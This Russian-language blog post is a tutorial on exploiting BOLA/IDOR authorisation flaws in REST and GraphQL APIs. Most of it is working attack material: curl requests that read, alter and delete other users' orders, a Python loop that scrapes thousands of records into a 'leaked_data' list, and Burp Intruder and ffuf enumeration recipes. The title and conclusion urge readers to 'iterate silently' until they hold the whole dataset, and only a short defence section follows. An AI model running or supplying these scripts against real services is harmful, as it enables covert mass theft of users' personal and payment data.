Обсудить проект

BOLA/IDOR в REST API: итерируй всё подряд и молчи

20.07.2026

«BOLA — это не уязвимость. Это когда разработчик забыл спросить API один простой вопрос: «а этот юзер вообще имеет право это смотреть?»» 💀

BOLA (Broken Object Level Authorization) держит первое место в OWASP API Security Top 10 уже несколько лет подряд, и присутствует в ~40% всех атак на API. Это самый простой в эксплуатации, самый частый и самый недооценённый класс багов — потому что для эксплуатации нужен не exploit, а просто число, изменённое на единицу.

🔑 Что такое BOLA и почему это не то же самое, что просто «IDOR»

API правильно тебя аутентифицирует — знает, кто ты. Но забывает проверить авторизацию — имеешь ли ты право трогать конкретный объект. IDOR — это тот же баг, просто термин из веб-приложений; в контексте API его называют BOLA.

Аутентификация: "Кто ты?" → Проверено ✅
Авторизация:    "Можешь ли ты трогать ЭТОТ объект?" → НЕ проверено ❌
# Твой легитимный запрос
GET /api/orders/12345
Authorization: Bearer <твой_валидный_токен>
→ 200 OK {"order_id": 12345, "user_id": 999, "items": [...]}

# Меняем ID на соседний — токен ТОТ ЖЕ
GET /api/orders/12346
Authorization: Bearer <твой_валидный_токен>
→ 200 OK {"order_id": 12346, "user_id": 1000, "items": [...]}
# Сервер вернул чужой заказ. Поздравляю, это BOLA 🎯

🎯 Где искать: object identifiers везде

Идентификаторы объектов бывают трёх видов — и каждый требует своего подхода к атаке:

→ Sequential integers  — /api/users/1, /api/users/2 → тривиальный инкремент
→ UUIDs                — /api/orders/a3f9-... → нужен leak реального UUID
→ Generic strings       — /api/files/report_2026 → предсказуемые паттерны

Собираем поверхность атаки через Burp/proxy:

# Проходишь приложение вручную, собираешь ВСЕ эндпоинты с ID
# GET /api/users/{id}
# GET /api/orders/{id}
# PUT /api/profile/{id}
# DELETE /api/documents/{id}
# GET /api/invoices/{id}/download

# Экспортируй историю из Burp → Site map → Save selected items

💡 Лайфхак: проверяй API documentation (Swagger/OpenAPI) — если разработчики выложили /api/docs или /swagger.json, там прямо расписаны все объекты и параметры. Экономит часы ручного сбора.

curl https://target.com/api/swagger.json | jq '.paths | keys'
curl https://target.com/api/openapi.json -o api_spec.json

🔨 Методология атаки: Account A vs Account B

Классический паттерн тестирования BOLA — два независимых аккаунта:

1. Создай Account A → создай ресурс (заказ, документ, сообщение)
2. Создай Account B → попробуй получить доступ к ресурсу Account A
3. Меняй ID в запросе от имени Account B
4. Если получил доступ — BOLA подтверждён
# Шаг 1: Account A создаёт заказ
POST /api/orders (Account A token)
→ {"order_id": "ord_A1B2C3"}

# Шаг 2: Account B пытается получить этот заказ
GET /api/orders/ord_A1B2C3
Authorization: Bearer <Account_B_token>
→ Ожидаем 403, получаем 200 = BOLA 💀

Тестируй ВСЕ HTTP-методы, не только GET:

# GET — чтение чужих данных
curl -H "Auth: Bearer $TOKEN_B" https://target.com/api/orders/12345

# PUT/PATCH — модификация чужого объекта
curl -X PATCH -H "Auth: Bearer $TOKEN_B" \
  https://target.com/api/orders/12345 -d '{"status":"cancelled"}'

# DELETE — удаление чужого ресурса
curl -X DELETE -H "Auth: Bearer $TOKEN_B" \
  https://target.com/api/orders/12345

# POST — создание объекта, привязанного к чужому ID
curl -X POST -H "Auth: Bearer $TOKEN_B" \
  https://target.com/api/orders/12345/comments -d '{"text":"pwned"}'

🌀 Итерируй всё подряд: массовая эксплуатация

Название статьи не врёт — если один ID уязвим, скорее всего весь эндпоинт уязвим. Пиши скрипт и молча собирай данные.

import requests

TOKEN = "твой_валидный_токен"
BASE_URL = "https://target.com/api/orders"
headers = {"Authorization": f"Bearer {TOKEN}"}

leaked_data = []
for order_id in range(1, 10000):
    r = requests.get(f"{BASE_URL}/{order_id}", headers=headers)
    if r.status_code == 200:
        leaked_data.append(r.json())
        print(f"[+] Order {order_id}: {r.json().get('user_id')}")

print(f"Total leaked: {len(leaked_data)}")
# Через Burp Intruder — быстрый брутфорс числовых ID
# 1. Отправь запрос в Intruder
# 2. Выдели ID как позицию: /api/orders/§1§
# 3. Payload type: Numbers, from 1 to 50000
# 4. Смотри Grep Match на "user_id" в ответах != твоему

🔥 Для UUID-based ID: брутфорс не работает, зато работает сбор через побочные каналы — соседние API-эндпоинты, которые листят UUIDы (например, /api/public/reviews может раскрывать order_id в чужих отзывах).

# ffuf для быстрого перебора при известном паттерне ID
ffuf -w ids.txt -u "https://target.com/api/orders/FUZZ" \
  -H "Authorization: Bearer $TOKEN" \
  -mc 200 -o bola_results.json

🧬 BOPLA: младший брат BOLA — Object Property Level

Отдельная категория — когда доступ к объекту есть, но авторизация полей внутри него нет. Ты видишь свой профиль, но в JSON-ответе есть поля, которые вообще не должны быть в ответе для твоей роли.

// Ответ /api/users/me для обычного юзера
{
  "id": 42,
  "name": "John",
  "email": "john@test.com",
  "internal_notes": "flagged for fraud review",
  "credit_score": 650,
  "is_admin": false,
  "password_hash": "$2b$12$..."
}

💣 Лайфхак: смотри на КАЖДОЕ поле в ответе, даже если запрос «успешен». Часто утекает служебная инфа, которую фронтенд просто не рендерит, но она лежит прямо в JSON.

🕳️ Bulk access: список объектов без фильтрации

Отдельный вектор — эндпоинты, возвращающие списки. Если пагинация не фильтрует по owner_id — можно вытащить вообще все объекты в системе.

# Обычный запрос своих заказов
GET /api/orders?page=1&limit=20
Authorization: Bearer <твой_токен>

# Что если убрать неявный фильтр через параметр?
GET /api/orders?page=1&limit=20&user_id=all
GET /api/orders?page=1&limit=9999
GET /api/orders/all
# Проверка bulk endpoint на утечку чужих данных
curl -H "Auth: Bearer $TOKEN" "https://target.com/api/orders?limit=99999" | \
  jq '.[] | .user_id' | sort -u
# Если видишь МНОГО разных user_id — bulk BOLA подтверждён

🔗 GraphQL — тот же BOLA, другая обёртка

Не думай, что GraphQL спасает от BOLA — просто ID передаётся в аргументах запроса, а не в URL.

query {
  order(id: "ord_12345") {
    id
    userId
    items
    paymentDetails
  }
}
curl -X POST https://target.com/graphql \
  -H "Authorization: Bearer $TOKEN_B" \
  -d '{"query": "query { order(id: \"ord_A1B2C3\") { id userId items } }"}'

📋 Чеклист пентестера BOLA/IDOR

□ Собери ВСЕ эндпоинты с ID через Burp/OpenAPI spec
□ Заведи 2+ тестовых аккаунта разных ролей
□ Проверь GET/PUT/PATCH/DELETE/POST на каждом ID-эндпоинте
□ Тестируй с чужим токеном И без токена вообще
□ Проверь bulk-эндпоинты (списки) на фильтрацию по owner
□ Проверь GraphQL query/mutation аргументы отдельно
□ Смотри на КАЖДОЕ поле в JSON-ответе (BOPLA)
□ Если ID числовой — automate через Burp Intruder/скрипт
□ Если ID UUID — ищи leak через побочные эндпоинты
# Финальная автоматизация — nuclei template для BOLA паттернов
nuclei -u https://target.com -t exposures/apis/ -t misconfiguration/

🏆 Как защититься (для тех, кто чинит, а не ломает)

  • Никогда не доверяй client-side ID — проверяй owner через session/token на сервере, а не через параметр запроса
  • UUIDv4 вместо sequential integers — не решает проблему полностью, но убирает тривиальный брутфорс
  • Централизованный authorization middleware — проверка на каждом эндпоинте, а не «разработчик не забыл добавить»
  • Explicit response schemas — никогда не возвращай весь объект целиком, только нужные для контекста поля

Итог: BOLA — это баг, для которого не нужен exploit, нужна только внимательность и терпение менять цифры в URL. Найдёшь один уязвимый ID — пиши скрипт и итерируй молча, пока не соберёшь весь датасет. Именно так BOLA стал #1 в OWASP API Top 10 — это не сложно, это просто никто не проверяет. 😈